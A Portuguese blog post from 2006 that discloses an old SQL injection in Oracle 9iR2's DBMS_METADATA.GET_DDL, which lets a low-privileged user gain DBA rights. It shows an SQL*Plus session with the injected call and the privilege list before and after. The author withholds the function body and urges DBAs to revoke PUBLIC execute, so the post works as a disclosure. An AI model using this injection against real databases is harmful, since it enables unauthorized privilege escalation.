.comment-link {margin-left:.6em;}

Sunday, April 23, 2006

Cuidado com Privilégios

Mais um problema com segurança no Oracle. Resolvi publicar essa vulnerabilidade por ser um problema antigo e mesmo assim, alguns DBAs relutam em tirar o privilégio da package DBMS_METADATA do PUBLIC.

Vamos ao problema: trata-se da técnica de SQL Injection justamente com uma package que o SYS executa, portanto o BURACO de segurança, permitindo que um simples usuário com conexão e direito de criar procedures pode tornar-se DBA!!

Exemplo:
Antes porém, quero explicar que vou suprimir o código da função para não ajudar a nenhum script-kid a brincar com bases por ai. O código não é nada do outro mundo, porém não quero ser responsável por nenhum copy/paste e o garoto facilmente obter role de DBA.

Esse bug afeta até a versão 9ir2. Na 10g isso foi corrigido.

SQL> select * from v$version;

BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.6.0 - Production
PL/SQL Release 9.2.0.6.0 - Production
CORE 9.2.0.6.0 Production
TNS for Linux: Version 9.2.0.6.0 - Production
NLSRTL Version 9.2.0.6.0 - Production

5 rows selected.

SQL>
SQL> drop user hacker cascade;

User dropped.

SQL>
SQL> create user hacker identified by iamgod;

User created.

SQL> grant create session, create procedure to hacker;

Grant succeeded.

SQL>
SQL> connect hacker/iamgod;
Connected.
SQL>
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE PROCEDURE

2 rows selected.

SQL>
SQL> create or replace
2 function "HACKER"."QUERO_SER_DBA" return varchar2
3 authid current_user
4 is
... [censurado] ...
19 return '';
20 end;
21 /

Function created.

SQL> select sys.dbms_metadata.get_ddl('''||HACKER.QUERO_SER_DBA()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||HACKER.QUERO_SER_DBA()||' for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1



no rows selected

SQL>
SQL> disconnect
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.6.0 - Production
With the Partitioning and Oracle Data Mining options
JServer Release 9.2.0.6.0 - Production
SQL> connect hacker/iamgod
Connected.
SQL>
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
ALTER TABLESPACE
MANAGE TABLESPACE
DROP TABLESPACE
UNLIMITED TABLESPACE
CREATE USER
BECOME USER
ALTER USER
DROP USER
CREATE ROLLBACK SEGMENT
ALTER ROLLBACK SEGMENT
DROP ROLLBACK SEGMENT
CREATE TABLE
CREATE ANY TABLE
...
DROP ANY EVALUATION CONTEXT
EXECUTE ANY EVALUATION CONTEXT
CREATE RULE SET
CREATE ANY RULE SET
ALTER ANY RULE SET
DROP ANY RULE SET
EXECUTE ANY RULE SET

140 rows selected.


O mesmo teste na 10g.


SQL> select sys.dbms_metadata.get_ddl('''||HACKER.QUERO_SER_DBA()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||HACKER.QUERO_SER_DBA()||' for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at "SYS.DBMS_METADATA", line 2681
ORA-06512: at "SYS.DBMS_METADATA", line 2732
ORA-06512: at "SYS.DBMS_METADATA", line 4333
ORA-06512: at line 1



no rows selected

SQL>
SQL> disconnect
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, OLAP and Data Mining options
SQL> connect hacker/iamgod
Connected.
SQL>
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE PROCEDURE

2 rows selected.

Labels:


Comments:
Ele não tem privilégios para criar function. Como conseguiu?
 
Eduardo, sim ele tem. No exemplo, antes de criar a function eu mostrei um select na view session_privs.

SQL>
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE PROCEDURE

2 rows selected.
 
Post a Comment



<< Home

This page is powered by Blogger. Isn't yours?